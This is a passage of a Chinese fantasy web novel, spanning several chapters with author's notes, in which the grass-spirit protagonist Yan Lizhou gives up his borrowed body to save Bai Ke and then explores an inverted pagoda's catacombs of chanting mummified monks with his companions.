五晴狸一击得手,凶性更烈,它剩下的四只眼睛死死锁定着燕黎舟。 另一只前爪再次当头拍下! 这一爪若是落实,足以将两人一同拍成肉泥! 嘻嘻见状有点急。 这要是死了就真死了! 然后他就看见,某个草精把白渴放到地面上后,迎面朝着五晴狸直撞上去。 “燕黎舟!” 嘻嘻急得大喊,操控着泥塑挡在中间。 五晴狸一爪子拍到了泥塑上,瞬间炸得四分五裂, 燕黎舟瞪大眼睛,碎片划过脸颊,留下血痕。 他咬着牙,手里凝聚的妖力狠狠变大,掌心上的妖力的光芒也变得刺眼。 燕黎舟的身体在光芒中开始变得透明,皮肤上浮现出无数细密的裂纹,像是个陶瓷娃娃,下一秒就要碎裂开。 光芒撞上五晴狸,五晴狸的动作僵在半空。 它的胸口处被妖力穿过一个大洞。 五晴狸张了张嘴却发不出来丁点声音,庞大的身躯轰然砸落在地,激起一片尘土! 它脸上最后两只人眼的光芒彻底黯淡。 燕黎舟闭着眼,气息微弱得几乎感觉不到,只有胸口极其轻微的起伏,证明他还活着。 最终支撑不住跪在地上。 黑怜趁着镇长他们愣住的时间,挣脱开村民的手。 他冲到昏迷不醒的白渴身边,颤抖着手探了探她的鼻息。 感受到那微弱的气流,黑怜立刻撕下衣摆,手忙脚乱地想为白渴擦嘴里的血。 鲜血很快浸透了布料。 黑怜猛地抬头,看向不远处身形摇摇欲坠的燕黎舟。 “娘娘……” 燕黎舟单膝跪地,用另一只手死死撑着地面,才没有彻底倒下。 他听到黑怜的声音,艰难地抬起头,视线有些模糊,但还是精准地找到了黑怜的方向,嘴唇动了动,却发不出清晰的声音。 “我没,事……” 嘻嘻灰色的一团缩在燕黎舟肩膀上,闻言咬牙讽刺。 “你大爷的没事!都快死了!” “快!把娘娘都抬进殿里!” 镇长嘶哑着嗓子下令指挥,几个离得近的镇民连忙上前。 有两个镇民靠近燕黎舟,想扶他起来。 “不……必……” 燕黎舟微弱地抗拒,试图自己站起,但身体一晃,险些栽倒。 最终还是被两人一左一右架住,几乎是拖着他往殿内走去。 “娘娘,您的伤……” 镇长上前一步,语气有些焦急。 燕黎舟连摇头的力气都没有了。 他看着白渴的方向:“白渴怎么样?” 镇长只看了一眼,顿了下道:“白渴她……” 话没说完,白渴就哇地吐出一口鲜血,身体也肉眼可见地枯萎着。 燕黎舟强撑着自己的身体:“有没有什么办法!” 说完他好像是想到了什么,支撑着自己的身体,踉跄着走了几步。 燕黎舟深吸一口气,这简单的动作却引得他脏腑一阵剧痛。 “娘娘!” 村民们想要过来搀扶,全都被燕黎舟挥开。 “都别过来!” 他说完,咬着牙支撑着身体慢慢地走到殿外。 黑怜抿了下唇,看着燕黎舟背影消失的方向。 是花园! “黑怜你干什么去!” 村民们被燕黎舟说完哪敢再动,下一秒就看见一个黑影又窜了出去,急得镇长大喊。 花园。 月光下,一排排的土包格外的瘆人,燕黎舟却没工夫去害怕。 他喉咙上下滚动了一下,抬脚就准备进入里面。 “你想要让白渴继承鬼娘娘?” 燕黎舟一顿,黑怜的声音在他身后响起,他没去纠结为什么黑怜跟过来了,而是在骂跟上来了见他这么艰难的走也不知道上来扶一把! 没良心的小东西! 燕黎舟吐出一口气:“你想要吗?” 他说的是“鬼娘娘”这个身份继承。 黑怜摇头,摇完又反应过来他看不见。 “我不喜欢。” 随即又好似疑惑道:“你不是娘娘,为什么要为我们做到这样。” 燕黎舟轻笑一声:“你发现了啊。” 黑怜:“不只是我,还有镇长爷爷。” “只有白渴是个笨蛋没有发现,还为了救你死掉。” 说完又皱眉嫌弃地吐槽一句:“你伪装的真的很差劲。” “娘娘就是个提线木偶,根本没有自己的意识。” “你不一样。” 燕黎舟闻言身形微顿,旁边的嘻嘻已经从肩膀挪到了头顶。 “这个小孩,还挺聪明的,嘻嘻。” 燕黎舟不置可否。 “没时间了,你快去死吧!”黑怜毫不客气地说着恶毒的话。 “你不死的话,白渴就没有办法继承,你知道的吧。” 燕黎舟知道,他当然知道。 那个册子上写的清清楚楚。 “那你呢,你跟上来就是要和我说这些?”燕黎舟问。 黑怜言简意赅:“怕你跑,看着你死。” 真是毫不客气。 燕黎舟心想,但确实是时间不够了。 …… 花园里一团灰雾渐渐散开,然后越来越浓,最终将整个笼罩住,看不清所有事物。 鬼娘娘殿。 众人都不知道鬼娘娘出去干嘛了,只是突然,躺着的白渴站了起来。 脸色依旧苍白,只是她的身上笼罩了一层模糊的雾气。 镇长几乎是瞬间就猜到发生什么了,惊讶地转头看向燕黎舟离开的方向。 然后弯下腰,所有村民齐齐开始跪拜他们的“鬼娘娘”! 燕黎舟睁眼又重新站在破旧的鬼娘娘殿里,木头扎进心脏的感觉似乎还在。 在木刺插进去的瞬间,嘻嘻就带着他脱离了那具身体。 公羊胜看见燕黎舟回来,狠狠松了一口气。 “你去哪了,吓死我了。” 燕黎舟伸手拉住公羊胜的胳膊。 “走,去找洛不觉。” “找他干嘛啊,他们有……我去!” 公羊胜被燕黎舟抓着肩膀,好的腿勉强支撑着跟上燕黎舟。 “你不是恐高吗?!!” “慢点慢点,我有点恐高了!” 燕黎舟轻车熟路地顺着小路走,来到一团迷雾面前。 “等等,等等,给他们传个信吧,呕!” 燕黎舟看着树上的文字,凑近研究。 “不用。” “直接进去。” 燕黎舟从袖子里摸出来颗有些枯萎的蘑菇,这是之前黑怜给他的,没想到居然能带出来。 公羊胜:“等等我!” “又急又急!” “只想着你老相好的是吧,见色忘友!” 燕黎舟在迷雾里面没有任何障碍,连带着公羊胜一起,两人在迷雾里几乎没有遇到什么困难。 “他们人呢?” 燕黎舟刚嘀咕完,就看见前面两个人影,周围被一群尸骸骨头围堵。 洛不觉一剑荡开几具逼近的骸骨,剑气将它们震得四分五裂。 但碎裂的骨头在地上疯狂扭动着,很快又被无形的力量牵引着,重新聚合。 打散了又聚,聚了又被打散。 薛三钱手里的针也随着甩出去,再狼狈地捡回来,甩出去,再捡回来。 气得他找准时机在洛不觉打散骨架的瞬间抢了一截骨头当剑胡乱挥舞着。 突然。 所有骸骨如同被按下了暂停键,齐刷刷地停住了动作。 那些骇人的骨头架子动作缓慢,磨一磨,蹭一蹭地朝着一个方向涌过去。 洛不觉视线循着望去,周围迷雾也跟着渐渐散开。 只见燕黎舟正闲闲地站在那里,手里捏着一颗看起来蔫巴巴的蘑菇,有一下没一下地抛接着。 他身旁的公羊胜扶着膝盖,脸色发白,还在干呕。 燕黎舟握着蘑菇的柄,轻轻摇了摇,面前所有的尸骸统一停住,看着还挺乖乖巧巧的。 随着雾气彻底散去,眼前的景象让众人倒吸一口凉气。 他们并非站在寻常的林间空地,而是身处一片荒芜的坟冢之间! 大大小小的土包无序地散布着,杂草丛生,一派凄凉。 而且几乎每一座坟头之上,都生长着一朵形态妖异的蘑菇。 而在所有坟冢中央,一棵巨大的枯槐树枝桠狰狞地伸向天空。 其中一根尤为粗壮的枝干上,一具身着红衣的干瘪尸体悬挂着,随风轻轻晃动—— 作者有话说:换了个专栏头像,好看吗? 我自己画的!(此处需要夸夸) 上传上去有些模糊[托腮] 我打算磨炼一下,把小草和洛主角的人物卡快快画出来! 哈哈哈哈! 对了!说一下,因为三次元事情开始忙起来了,有些部分情节我写的时候手快,着急了,可能会有错字,感谢大家帮我捉虫了,么么么! 爱你们! 第69章 燕黎舟对于这具尸体那可真是太熟悉了。 不过他是木刺用杀死的自己, 这显而易见…… 突然,一个黑色的身影从众人头顶那棵枯槐树更高处的枝桠间跳下来,正好落在燕黎舟与洛不觉面前。 来人身着紧束的黑色衣裳, 勾勒出精干挺拔的身形。 黑发高束, 一团灰色的雾遮住了鼻梁以上的部分, 看不见他的眼睛, 只露出线条冷硬的下颌和一双薄唇。 周身散发着生人勿近的气息。 洛不觉第一时间将燕黎舟护在身后, 众人还没反应过来时,秋水剑已经架在了这人的脖子上。 “谁?” 黑怜看着踏入自己领域的四人, 眼神不不善地眯了眯:“修仙者?” “来我们镇子上干什么?” 燕黎舟蹙眉, 看着一旁正挂在树上荡秋千的尸体,又看看面前的黑衣男子。 “……黑怜?” 这话一出,在场的四人视线齐齐看向燕黎舟。 黑怜看向燕黎舟, 他并不认识这张脸,可是下一秒他就看见燕黎舟手里拿着的那朵蘑菇。 “……” 黑怜脚下用力,重新跃上那棵枯槐树,脸上的雾气瞬间包围了全身, 怪不得他们没注意到这人。 黑怜声音冰冷:“快滚。” “。” 燕黎舟讪讪地摸了摸鼻子, 扭头就和洛不觉对上视线。 洛不觉盯着他:你背着我在外面有别人了??? 燕黎舟:“。” 莫名的背德感好重。 “几面之交……”燕黎舟他干笑两声, 试图解释。 树上的黑怜:“快滚!” 他整个人仿佛与那团灰雾融为一体,气息几乎完全隐匿,若非亲眼所见,根本难以察觉树上还藏了这么一个人。 众人:“……” 洛不觉没说话, 只是默默收回了秋水剑,但目光依旧锁定在燕黎舟脸上,仿佛在说“编,你继续编”。 薛三钱低眉垂目, 像是在研究地上的蚂蚁,实则耳朵竖得老高。 公羊胜则是一脸“我懂了”的表情,在三人之间来回扫视,最后对洛不觉投去一个略带同情的眼神。 “石头呢?” 燕黎舟受不了,主动转移话题。 “到了迷雾就先让他回镇上了,毕竟不太清楚危险。” 薛三钱道。 然后又是一阵诡异的沉默。 燕黎舟一看转移失败,开始破罐子破摔,抬头问黑怜。 “白渴呢?怎么只你一个?” 他当时应该是就成功救下了的吧。 “你没遇见吗?” 黑怜低头,整个人周围环绕的雾气又散开,露出来整个人。 连带着那双眼睛。 空荡荡的。 “在鬼娘娘殿。” “她应该一直在那里,等着你回来的。” 燕黎舟闻言怔愣,他几乎是瞬间就想到了之前在鬼娘娘殿遇到的那个…… 脸色瞬间惨白。 燕黎舟喉咙上下狠狠滚动了一下,颤着声音。 “她,怎么会变成,那个样子?” 黑怜一听就知道碰上了,并且从燕黎舟的反应中也确认了些东西。 他扯动了一下嘴角:“你当得死得倒是干净。” 黑怜道:“鬼娘娘本该就不存在在这个世上,逐渐的,白渴对于蘑菇的需求越来越大。” “她却只想着见你,为了用蘑菇再孕育出来一个你,把自己吃的也全都拿出来。” “慢慢的,镇子里的人供不上。” 黑怜微微偏头,那空洞的眼窝望向鬼娘娘殿的方向。 “没有蘑菇,白渴很快就疯了,待在殿里不愿意出去。” “为了镇子的安全,我就把花园给封死了。” 他转眼看向沉默着的燕黎舟:“你要是把她杀了也好,早就该死了。” 燕黎舟没附和,他想到镇子里现在被魔族入侵的景象。 “镇子里现在。” 话没说完就被黑怜打断:“我知道。” “我只是待在这里,不是死了。” “我有能力清除这镇子上的魔族,但很快依旧又有魔族过来看守着。” “他们现在起码还没有危害镇民的性命,就这样吧。” 黑怜的声音没有波动。 “好了,没有问题赶紧走吧。” “不是要出去吗?” 黑怜觉得烦了,开始赶人。 他周身灰雾重新弥漫,似乎要将自己与外界彻底隔绝。 燕黎舟没有再追问,也没有再插科打诨。 他低着头,紧紧拉着洛不觉的胳膊,手指甚至无意识地蜷缩,攥紧了洛不觉的衣袖。 薛三钱和公羊胜对视一眼,不明白他们在说什么东西。 “走吧。” 最终,是洛不觉先开口。 他轻轻动了动被燕黎舟抓住的手臂,声音很轻:“先离开这里。” 燕黎舟像是被惊醒,缓缓松开了手,他抬起头,脸色依旧苍白。 四人准备离开,燕黎舟手握着秋水剑的剑鞘,跟在洛不觉后面,罕见地没有并排走。 走了一段路后,燕黎舟忽然抬头想到什么,往后看了看,枯槐树已经离他有点距离。 他往回小跑了几步重新跑到树下,指了指树上挂着的尸体。 “你不能把尸体放下来吗?” 黑怜声音透着不耐烦:“都鞭尸好几年了,快点走!” “不然把你也挂上!” 燕黎舟:“……” 几人走出迷雾后已经是在官道上面,坐满四个人的马车骨碌碌地驶离了小镇。 公羊胜靠着软垫昏昏欲睡,呼吸逐渐均匀,伤腿被妥善固定好,脸色倒是红润。 在他旁边坐着的燕黎舟和他比起来情况倒是很差劲。 他的手指一直在漆黑的无妄扇骨上摩挲,此时的扇面已经清洁干净,白白净净的。 神识深处,嘻嘻灰扑扑一团独自呆在那里沉睡着,任由燕黎舟怎么喊也睁不开眼睛。 听不见那恼人的“嘻嘻”声,燕黎舟奇怪地觉得周围太安静了,他甚至有点不太习惯。 窗外景物飞速倒退,薛三钱抱着手臂闭目养神,眉头却微微蹙着。 洛不觉坐在燕黎舟对面,目光平静地落在他身上,对方却仿佛没有感觉。 马车碾过一块石子,轻微颠簸了一下。 昏睡的公羊胜嘟囔了一句梦话,薛三钱睁眼瞥了一下又闭上。 燕黎舟摩挲扇骨的手指顿住,他闭上眼,深吸了一口气,眉宇间闪过一丝极力忍耐的烦躁。 就在这时,一只骨节分明的手拿着一个打开的水囊递到了他面前。 燕黎舟睁开眼,看着那只握着水囊的手,愣了一下。 “喝水。” 洛不觉的声音依旧平淡,听不出什么情绪。 燕黎舟盯着那水囊看了两秒,又抬眼看了看洛不觉那张没什么表情的脸,心底那股莫名的焦躁像是被戳开了一个小洞,泄掉了些许。 他扯了扯嘴角,想说什么调侃的话,最终却只是默默接过水囊,仰头灌了几口,任由那清凉的液体滑过喉咙。 “还有多久到?” 燕黎舟问,目光重新投向窗外,声音带着刚喝过水的微哑。 “明日傍晚。” 洛不觉回答,视线也转向了窗外,但余光却一直在偷瞥着燕黎舟的身影。 马车如洛不觉所说的,在翌日傍晚抵达了一片人迹罕至的隐山。 这里山峦叠翠,雾气氤氲,显得宁静而祥和。 四人穿过一片茂密的树林,一座巨大的完全倒置的塔形建筑忽然出现在面前! 塔身诡异地倒悬于半空之中,塔顶朝下,指向一个深不见底的幽暗水潭。 塔身斑驳古老,周围缠绕着几根枯死的藤蔓。 它就这样静静地悬浮在那里,仿佛被某种无形的力量定格,投下的阴影笼罩着整个水潭,令人望之心悸—— 作者有话说:感谢一千营养液[摊手] 还有一更[眼镜] 第70章 “这……这是什么鬼东西?”公羊胜拄着临时做的拐杖, 看得目瞪口呆。 旁边的薛三钱撇了撇嘴。 “有什么好惊讶的?” “倒影浮屠。”他看着面前倒过来的塔,转头就看见公羊胜一脸没世面的样子,嘲讽。 “你们十二楼兰当真是在沙子里待太久了。” 公羊胜:“什么意思?” 直觉告诉他不是什么好话。 偏偏薛三钱这人:“夸你的。” 公羊胜:“……” 确认了, 不是好话! 公羊胜被薛三钱噎得直瞪眼, 刚要反驳, 注意力却被洛不觉和燕黎舟拉了回来。 只见两人一次次纵身跃起, 又一次次诡异地回到原点。 “这, 这玩意儿不让人上去啊!”公羊胜拄着拐杖,震惊道。 几次尝试无果后, 洛不觉稳稳落回崖边, 气息依旧平稳,只是眼神有些凝重。 旁边薛三钱啪一下打了公羊胜的后脑勺一下。 “倒影浮屠的主山要是那么容易就进去,人家还敢称四大宗之一吗?” 他转头看了眼洛不觉, 然后目光停在面前这座倒着的塔上面。 “既然是倒过来的,那我们就往下走。” 一直没出声的燕黎舟道。 “倒着来?”公羊胜没听懂。 “怎么倒?头朝下跳吗?那不得直接栽潭子里?” 公羊胜顿了一下,随即抿唇勾起一个弧度,伸手抓住公羊胜的肩膀, 身形一闪。 两人径直地朝着潭水跳进去。 燕黎舟和洛不觉对视一眼, 也紧随其后。 …… 身体在急速下坠, 耳边是呼啸的风声,预想中坠入冰冷潭水的冲击并未到来。 下坠百丈后,见天花乱坠,梵唱如雷! 无数琉璃花朵如同拥有生命般, 从虚无中凭空诞生,纷纷扬扬地飘洒而下。 这些花瓣上带着淡淡的佛光,衬得周围的一切如同神圣的国度。 如同惊雷炸响的诵经声一声接着一声,像是要狠狠念到人心里去, 震得人气血翻涌。 燕黎舟被这突如其来的景象和声音冲击得头晕目眩,体内的妖力不受控制地躁动起来。 他痛苦地闷哼一声,下坠的速度也为之一滞。 就在这时,一只温热的手牢牢抓住了他的手腕。 是……薛三钱! 薛三钱神色淡淡,任由自己的衣服因为下坠而飘得乱飞,他伸手握紧燕黎舟,另一只手飞快地从腰间摸出来颗药丸塞进燕黎舟嘴里。 然后伸手捂住燕黎舟的眼睛。 “别看。” 薛三钱的手掌干燥,带着淡淡的药草味,捂住燕黎舟眼睛的动作算不上温柔。 不知过了多久,下坠感才骤然停止。 双脚触到了坚实的地面。 薛三钱松开手,拿出来条手帕递给燕黎舟:“擦脸。” 燕黎舟接过手帕。 “谢了。”他的声音还有些沙哑,对薛三钱道。 薛三钱依旧是那副没什么表情的样子:“顺手而已。” 说完目光环视四周。 他们身处一条幽暗的通道之中,墙壁是粗糙带着湿气的岩石,头顶那些满天飞花此刻都不见了踪迹。 通道前后都延伸入深沉的黑暗里,不知通向哪里。 最重要的是,洛不觉和公羊胜不见了踪影。 这里,只有他们两人。 “看来落地位置是随机的。” 薛三钱拍了拍袖子,语气还算平静,但神情有些严肃。 他仔细感知了一下四周,“这地方……有很强的阵法禁制。” 燕黎舟没说话,他看向手腕处的晋绳,此时安静的盘着,试探地去找洛不觉的气息,却发现如同石沉大海,毫无回应。 这让他心底莫名地一沉,一股焦躁感从心底蔓延开。 “得找到他们。” 燕黎舟的声音在通道里显得有些低沉,他握紧了手中的无妄扇,率先朝着一个方向走去。 “这鬼地方看着就让人不舒服。” 薛三钱没反对,跟在他身后,同时从药囊里取出一些粉末撒在走过的路上。 通道曲折蜿蜒,仿佛没有尽头,空气中弥漫着一股难闻的味道。 偶尔隐约能听到远处传来像是石块摩擦的声音,听得人头皮发麻。 走了约莫一炷香的时间,前方出现了一个岔路口,三条几乎一模一样的通道出现在眼前。 “走哪边?”薛三钱看向燕黎舟。 燕黎舟皱着眉,他完全凭借直觉,指向中间那条:“这边。” 燕黎舟的选择毫无根据,薛三钱看了他一眼,没提出异议,只是默默又撒下些许粉末,跟随着踏入了中间那条幽深的通道。 这条通道比之前更加潮湿阴冷,岩壁上渗出的水珠缓慢滴落,发出清晰的“滴答”声。 那股难闻的气味也更加浓郁。 两人屏息凝神,小心翼翼前行。 燕黎舟手指微微握紧无妄扇,似乎感应到了什么。 薛三钱指尖也捏紧了几根淬了毒药的银针。 走了约莫又一炷香的功夫,前方通道似乎到了尽头,两人终于看见一丝光亮。 与此同时,一种低沉的,仿佛无数人在一起喃喃自语的声音传了出来。 两人对视一眼,更加警惕地靠近。 通道尽头连接着一个巨大的石室。 不过与其说是石室,不如说是一个古老破败的祭坛。 祭坛呈圆形,地面刻满了早已模糊不清的诡异符文。 在这中央有一个干涸的呈暗褐色的池子,仿佛曾经盛满了某种液体。 而最令人毛骨悚然的是,在祭坛的四周,倚着岩壁,或坐或站,竟是数十具身披破烂袈裟的僧人干尸! 这些干尸不知在此经历了多少岁月,皮肤紧贴着骨骼。 但诡异的是,它们并未完全腐朽,反而保持着生前的某种姿态,双手合十,低垂着脑袋—— 作者有话说:七十章啦!感恩陪伴到现在的大家! 完结进度+1% +1%[摊手][彩虹屁] 么么么! 70-80 第71章 那低沉的念经声, 正是从这些早已死去的僧人口中发出! 它们的嘴唇并未动作,声音却在周围不停地环绕着。 洛不觉和公羊胜并不在这里。 整个祭坛,只有他们两人, 以及这数十具不断念经的可怖干尸。 薛三钱迅速扫视全场, 脸色凝重, 指尖紧紧捏着的毒针, “这地方邪门得很, 小心。” 燕黎舟眉头紧锁,心底那股因与洛不觉失散而产生的焦躁感再次升腾, 但他强行压下。 燕黎舟的视线打量起这个诡异的祭坛。 目光掠过那些令人不适的干尸, 最终落在祭坛后方一个不起眼的凹陷处。 那里堆放着一些东西。 燕黎舟小心地绕过中央的干涸血池,朝着那个凹陷处走去。 靠近了才发现,那凹陷处里堆积的并非供奉之物, 而是一些散乱的的卷轴和皮纸书籍。 它们被随意地丢弃在那里,覆盖着厚厚的灰尘,却奇迹般地没有完全腐朽。 燕黎舟心中一动,蹲下身, 拂去最上面一卷皮纸上的积尘。 皮纸摸着冰凉柔韧, 不知由何种兽皮制成, 上面用暗红色的颜料书写着扭曲的文字。 燕黎舟原本只是随意翻看两页,毕竟他对这些功法秘籍向来没有兴趣。 但很快,他的目光凝固在上面。 这些文字他并不完全认识,夹杂着古老的梵文和一些诡异的符号, 但其中反复出现了一个词。 ——长生! 燕黎舟快速翻动着其他的卷轴和书籍,内容大同小异。 无一不是在阐述一种逆天而行,窃取生机延续寿命的邪恶秘法! 其中一些图示更是血腥无比,描绘着如何以生灵为祭品, 剥离其生命本源,转嫁给己身。 以众生为薪,燃给己之命灯。 在他身后的薛三钱看着燕黎舟僵硬住的背影,歪了下头,几步走到他身边蹲着一起看。 随即也跟着一起皱眉。 他身为医修,对有关人体的书籍图绘的了解远超常人,只扫了几眼,脸上便浮现出毫不掩饰的厌恶。 薛三钱环顾四周那些保持诵经姿态的干尸,语气嘲讽之味浓厚。 “一个佛塔,背地里干尽了肮脏事。” 燕黎舟站起身,拍了拍手上的灰尘。 “找找看有没有其他出口,洛不觉他们肯定在别的地方。” 两人不再理会那些持续低语的干尸和记载着邪术的卷轴,开始分头在祭坛周围仔细搜寻。 祭坛很大,除了他们进来的那个通道,似乎没有别的路了。 燕黎舟沿着粗糙的岩壁慢慢摸索,指尖划过冰冷潮湿的石头。 他试图感应洛不觉可能留下的气息,但这里气息太杂乱了,让人难以捕捉。 另一边,薛三钱则更细致地检查着地面和那些干尸周围。 作为一名医修和经常与各种材料打交道的药师,他对细节的观察力远超常人。 突然,他在一具靠着岩壁的干尸脚下停了下来。 这具干尸与其他并无不同,同样双手合十,低垂着头,但它脚下的一块石板,似乎与周围的连接处有些许的褪色和摩擦的痕迹。 “燕黎舟,过来看。”薛三钱低声道。 燕黎舟快步走来,顺着薛三钱指的方向看去。 “这块石板。”薛三钱用指尖轻轻敲了敲。 “像是被移动过。” 燕黎舟蹲下身,仔细观察。 他尝试用力推动,石板纹丝不动。 “应该不是直接推的。”薛三钱示意他看向 “你看这个人的脚。” 燕黎舟看过去,皱眉。 六指? 这人最后一个小脚趾藏在最下面,被另一只腿盘着盖住。 若非薛三钱心细,根本察觉不到。 紧接着,燕黎舟看了下旁白的其他几具干尸。 只有这一具是六指。 薛三钱皱眉:“还以为会是什么线索。” 说着就摆烂似的往后一靠。 “咔哒。” 一声轻微的声音响起! 薛三钱后面墙壁突然打开,他整个人措不及防地倒下去。 那块墙壁猛地向下沉陷,滑向一侧,露出了一个仅容一人通过的一个向下的阶梯入口! “我靠,我靠,我靠——疼!你他,妈的!” 薛三钱就这样骂骂咧咧地从那个楼梯上滚了下去。 “薛三钱!” 燕黎舟着急地喊,紧接着他就听到下面传来巨大的嘲笑声。 “哈哈哈哈哈哈哈!” “滚下来的!哈哈哈哈哈哈哈!” “笑死我了,王八一样哈哈哈哈哈哈哈” 是公羊胜! 燕黎舟心头一喜,赶紧顺着阶梯爬下去。 下面是一件藏书室。 室内不大,四壁都是嵌入墙体的书架,上面摆放着无数竹简书卷和皮纸。 虽然也蒙着灰尘,但保存得远比祭坛上那些随意丢弃的卷轴要完好得多。 空气中弥漫着旧纸和墨锭的味道。 公羊胜笑的猛拍自己好的那条大腿,笑的眼泪都出来了。 薛三钱半个身子倚靠在阶梯上,燕黎舟下不来。 见状公羊胜还是十分有眼力见的把薛三钱扶起来方便燕黎舟下来。 “草精!” 公羊胜打量了一下燕黎舟,确认人完好无损,松了口气扭头又继续嘲笑薛三钱了。 “哈哈哈哈哈哈哈!你头感觉大了好多啊哈哈哈哈哈!” 薛三钱:“闭嘴!” 他暗骂一声“莽夫”,任由自己全部体重都压在公羊胜一个瘸子身上。 “洛不觉呢,他没和你在一起吗?” 燕黎舟下来后就在室内扫了一圈,没发现洛不觉的身影,赶忙皱眉问公羊胜。 公羊胜这才停下笑,啊了一声挠头。 “没啊,他不是和你一起进来的吗?” “哎,你俩咋在一起的?”公羊胜好奇问。 “我和燕黎舟落在同一个地方。这么说,洛不觉是单独被传送到别处了?” 薛三钱又坐回台阶上,开始摸自己错位的骨头。 “这个时候也提一下我吧,我也是一个人啊!”公羊胜小声抱怨。 而一旁的燕黎舟表情有一瞬间的空白。 一股强烈的不安瞬间席卷了燕黎舟的心。 洛不觉独自一人…… “洛不觉没和你在一起?” 燕黎舟薄唇轻抿,深吸了几口气,胸口的那股焦躁感越来越烈。 公羊胜见状,赶紧伸手给燕黎舟扇风。 “是不是喘不上来了?这地方灰尘大,别吸太多,容易呛着。” 听到燕黎舟说的话,他也赶忙把自己怎么来的交代清楚。 “我当时被这个从楼梯上翻滚下来的笨人拉着跳下来,然后就是眼前一花,再醒过来就在这破屋子里了。” “就我一个人,我还以为你们很快就能找过来呢所以我就一直待在这里哪也没去!” 公羊胜知道自己跑题了,赶紧又拉回来,安慰道。 “没事的,你老相好的那么厉害,出不了什么事的。” 燕黎舟却是什么都听不进去了。 公羊胜喊了几声,这人全都没有反应,他看向一旁“咔嚓”“咔嚓”给自己掰正骨头的薛三钱。 “怎么回事,草精咋突然聋了,你不是鬼见愁吗快来看看。” “别急别急!”薛三钱头上冒出来一层汗。 软着腿站起身,刚走到公羊胜身边,伸手探上燕黎舟的脉搏。 就在这时! 整个藏书室毫无征兆地剧烈震动起来!书架上的竹简书卷噼里啪啦地往下掉,灰尘弥漫。 “怎么回事?!地动了?!” 公羊胜吓得单腿蹦跳着试图保持平衡。 薛三钱扶住离他最近的墙壁,脸色难看:“不是地动!” 话音未落! 他们脚下所站的地面,以及四周的墙壁和书架,开始以一种违背常理的方式翻转过来! “啊啊啊!” 公羊胜尖叫着,感觉自己快要被甩出去。 燕黎舟只来得及抓住一个固定的书架,另一只手想去拉离他最近的公羊胜。 天旋地转! 仿佛只是一瞬,又仿佛是漫长的一刻。 当那剧烈的震动和扭曲感终于停止时,三人狼狈地摔落在坚硬的地面上。 燕黎舟晃了晃晕眩的脑袋,第一时间环顾四周。 他们不在那个藏书室了! 现在所在的地方是一个十分广阔的大殿。 大殿四周矗立着无数尊姿态各异的石佛雕像,每一尊佛像的表情并非是外面那样的宝相庄严。 他们保持着一种似笑非笑、似哭非哭的诡异神情。 洛不觉手里握着秋水剑就站在最大的那尊佛像面前。 那尊佛像整个被从上到下劈成了两半,表面蔓延开一层厚冰,整个大殿可以说是一片冰雪世界。 “洛不觉!” 燕黎舟的声音带着显而易见的欢喜。 他快步上前,目光迅速扫过洛不觉全身,然后视线投向那尊巨大佛像,以及这冰窟一般的大殿。 “你干的?” 燕黎舟松了口气,又挑眉,语气带着点与有荣焉的调侃,“动静不小啊,洛大剑尊。” 洛不觉收剑入鞘,周身寒气缓缓收敛。 他同样在打量着燕黎舟,想着这人刚刚被撞到地上:“没事吧。” 洛不觉伸手替燕黎舟揉了揉胳膊,燕黎舟下意识嘶了一声。 “疼……” 这句被燕黎舟嘟囔着出来的,落在洛不觉耳中就是软软的,娇娇的。 洛不觉的手在燕黎舟胳膊上停顿了一下,眉头蹙起开始反思自己,然后力道放得更轻。 燕黎舟抿了下唇,他有点不太自在地动了动肩膀。 小声嘟囔道:“行了行了,也没多疼。” 话虽这么说,但两人手还是拉着没松开。 旁边的薛三钱和公羊胜:“……” “你看我就说你老相好的没事吧。” 公羊胜看着那被劈成两半的佛像,咂舌道:“这也太猛了吧……” 他话音未落,忽然感觉脚下一滑。 “哎哟!” 公羊胜差点摔个四脚朝天,幸好旁边薛三钱及时拽住了他。 “小心点,莽夫。” 薛三钱没好气地骂道,自己也小心翼翼地站稳。 这满地的冰霜让行动变得极为不便。 燕黎舟被那句“老相好”说得耳根一热,猛地抽回胳膊,瞪了公羊胜一眼。 “谁老相好的?会不会说话!” 说完他还欲盖弥彰地活动了一下手臂,表示自己好得很—— 作者有话说:码字码字码字,啊啊啊啊,怎么时速越来越慢了! 今天码了一半,抬头一看 ——啊啊啊啊,赶不上发表啦! 好啦,我要继续码字了[托腮] 第72章 公羊胜苦着脸, 死死抓着薛三钱的胳膊,单腿小心翼翼地试探着冰面。 “这怎么走啊?万一再滑一跤,我这条好腿也得交代在这儿!” 薛三钱被他拽得一个趔趄, 没好气地甩了甩, 却没真甩开, 只能嫌弃地喊他“闭嘴”。 话虽如此, 他还是调整了一下姿势, 让公羊胜能靠得更稳当些。 薛三钱半搀半架着公羊胜,两人在光滑如镜的冰阶上走得磕磕绊绊, 姿势别扭又滑稽。 公羊胜几乎是挂在薛三钱身上, 嘴里还不停地小声抱怨冰面太滑,又或者嗷嗷着腿太疼。 惹得薛三钱额角青筋直跳,恨不得真把这累赘扔下。 走在前面的燕黎舟回头看了一眼这滑稽又艰难的场面, 忍不住嗤笑出声,正想再调侃两句,却见身旁的洛不觉停下了脚步。 洛不觉目光扫过身后磕磕绊绊的两人,又看了看铺满了大殿的冰。 他缓缓抬起左手, 掌心向下, 虚按在冰冷的空气中。 一簇淡蓝色的火焰从掌心泄出来, 冲向地面。 不过瞬间,脚下冰层迅速融化,蒸发。 露出冰层下面粗糙的地面。 “哇!” 公羊胜看得目瞪口呆,顿时感动得差点流泪。 “洛剑尊!你就是我亲哥哥!亲兄弟!太厉害了!” 薛三钱也松了口气, 终于能把挂在身上的“巨型挂件”稍微推开一点。 燕黎舟嘴角勾了勾,用扇子轻轻碰了碰洛不觉的肩膀。 洛不觉看过来时又摇摇头,盯着洛不觉的眼睛弯成了月牙。 洛不觉顿了一下,抬头揉了燕黎舟眼睛一下。 燕黎舟疑惑, 但也没躲开:“怎么了吗?” 如愿摸到的洛不觉:“沾到灰了。” “哦,那你擦干净点。” “嗯。” “我们怎么到这的?” 公羊胜不好打断那俩人的氛围,扭头问薛三钱。 旁边薛三钱检查着自己的药箱,闻言道。 “应该是洛剑尊把机关破坏了,所以我们倒过来了。” “哦。”公羊胜似懂非懂。 “那我们现在怎么出去?” 另一边两人腻歪完,洛不觉听见握紧了手里的秋水剑,视线看向周围。 四周墙壁上那些表情诡异的石佛雕像仿佛一直在看着他们,周围的诵经声也越发尖锐刺耳。 “跟紧。” 洛不觉只吐出两个字。 找到了燕黎舟他也就没有了顾虑,手持秋水剑,径直朝着大殿一侧墙壁的方向走去。 那里并非出口,至少肉眼看来如此。 